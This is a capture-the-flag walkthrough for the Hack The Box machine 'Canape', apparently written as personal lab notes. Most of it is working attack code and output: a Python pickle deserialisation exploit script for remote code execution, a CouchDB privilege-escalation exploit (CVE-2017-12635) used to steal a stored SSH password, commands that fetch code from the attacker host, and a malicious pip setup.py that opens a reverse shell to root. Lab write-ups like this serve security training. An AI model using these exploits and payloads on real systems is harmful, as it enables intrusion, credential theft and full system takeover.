1. Check open ports
nmap --min-rate 1000 -p- -v 10.10.10.70 # 80/tcp open http # 65535/tcp open unknown nmap -oN canape.nmap -p80,65535 -sC -sV -v 10.10.10.70 # 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) # |_http-favicon: Unknown favicon MD5: CCD1870C3EB5C66B66D9E5A31B7A7DF6 # | http-git: # | 10.10.10.70:80/.git/ # | Git repository found! # | Remotes: # |_ http://git.canape.htb/simpsons.git # | http-methods: # |_ Supported Methods: HEAD OPTIONS GET # |_http-server-header: Apache/2.4.18 (Ubuntu) # |_http-title: Simpsons Fan Site # |_http-trane-info: Problem with XML parsing of /evox/about # # 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) # | ssh-hostkey: # | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) # | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) # |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519) #
2. Exploit http://10.10.10.70/submit
[x] Export http://10.10.10.70/.git to local machine
wget --mirror -I .git http://10.10.10.70/.git
[x] The repository contains a python Flask app
[x] Database configuration of the app ( __init__.py )
app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
[x] How submission requests are handled ( __init__.py )
WHITELIST = ["homer","marge","bart","lisa","maggie","moe","carl","krusty"] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success)
[x] How valid submissions are read before approval ( __init__.py )
@app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item
[x] Configure CouchDB before starting the Flask application locally
[x] Install and start CouchDB
sudo apt install couchdb pip install couchdb sudo couchdb start # Apache CouchDB has started on http://127.0.0.1:5984/
[x] Create simpsons database in CouchDB
curl -X PUT http://127.0.0.1:5984/simpsons # {"ok":true}
[x] Run Flask application
python __init__.py # * Running on http://127.0.0.1:5000/
[x] Create and test exploit locally ( canape.py )
from hashlib import md5 from sys import argv import cPickle as pickle import requests as req target = "http://localhost:5000" print("[COMMAND]: " + argv[1]) class Payload(object): def __init__(self, command): self.command = command.split(" ") def __reduce__(self): return (__import__("subprocess").check_output, (self.command,)) payload = pickle.dumps(Payload(argv[1])) post_data = { 'character' : payload + " homer", 'quote' : " " } submit = req.post(target + "/submit", data=post_data) if "don't recognize that character" in submit.text: print("\n[RESPONSE]: POST REQUEST FAILED") else: post_id = md5(payload + " homer ").hexdigest() check = req.post(target + "/check", data={ 'id' : post_id }) if "Still reviewing:" in check.text: print("\n[RESPONSE]:\n\n" + check.text[17:]) else: print("\n[RESPONSE]: REQUEST FAILED")
[x] Update line #6 in canape.py
target = "http://10.10.10.70"
[x] Run RCE (Remote Code Execution) exploit
python canape.py "id" # uid=33(www-data) gid=33(www-data) groups=33(www-data) python canape.py "cat /etc/passwd" # root:x:0:0:root:/root:/bin/bash # homer:x:1000:1000:homer,,,:/home/homer:/bin/bash
3. Attempt Privilege Escalation (www-data -> homer)
[x] Exploit CouchDB using CVE-2017-12635
[x] Search for available exploits
python canape.py "curl http://localhost:5984" # "version":"2.0.0" searchsploit couchdb # Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation # exploits/linux/webapps/44498.py
[x] Download 44498.py and start python HTTP server
python -m SimpleHTTPServer # Serving HTTP on 0.0.0.0 port 8000 ...
[x] Upload 44498.py to the remote machine
python canape.py "curl -o /tmp/44498.py http://HTB_Network_IPv4:8000/44498.py" python canape.py "python /tmp/44498.py -h" # usage: 44498.py [-h] [-p PORT] [-u USER] [-P PASSWORD] host python canape.py "python /tmp/44498.py -u symr -P itsover -p 5984 127.0.0.1" # [+] User to create: symr # [+] Password: itsover # [+] Attacking host 127.0.0.1 on port 5984 # [+] User symr with password itsover successfully created. python canape.py "curl http://symr:itsover@localhost:5984/_all_dbs" # "passwords" python canape.py "curl http://symr:itsover@localhost:5984/passwords/_all_docs?include_docs=true" # "item":"ssh","password":"0B4jyA0xtytZi7esBNGp" # "item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"
[x] Generate User Shell
ssh -l homer -p 65535 10.10.10.70 # homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp
[x] While inside shell:
find / -name user.txt 2>/dev/null # /home/homer/user.txt cat ~/user.txt # bce918696f293e62b2321703bb27288d
3. Attempt Privilege Escalation (homer -> root)
[x] Check privileges
sudo -l # [sudo] password for homer: 0B4jyA0xtytZi7esBNGp # # (root) /usr/bin/pip install *
[x] Exploit pip
[x] Clone FakePip from github on local machine
git clone https://github.com/0x00-0x00/FakePip.git
[x] Configure setup.py
RHOST = 'HTB_Network_IPv4' # change this # change lport in line 12 if you want (default is 443) reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
[x] Upload setup.py while inside the user shell
mkdir /tmp/.fakepip cd /tmp/.fakepip wget http://HTB_Network_IPv4:8000/FakePip/setup.py # ‘setup.py’ saved [983/983]
[x] Set-up netcat listener on local machine
nc -lvp 443 # listening on [any] 443 ...
[x] Abuse sudo privileges
sudo /usr/bin/pip install . --upgrade --force-reinstall # [sudo] password for homer: 0B4jyA0xtytZi7esBNGp # # Running setup.py install for FakePip ... -
[x] Going back to the netcat listener
id # uid=0(root) gid=0(root) groups=0(root) find / -name root.txt # /root/root.txt cat /root/root.txt # 928c3df1a12d7f67d2e8c2937120976d
SIDENOTES:[x] cPickle could be exploited via the __reduce__ method[x] Running shell commands in Python:[x] subprocess.check_output() returns value of STDOUT[x] os.system() returns the command's EXIT STATUS[x] Databases usually contain relevant information[x] Check documentations and configuration files[x] Search for available exploits or vulnerabilities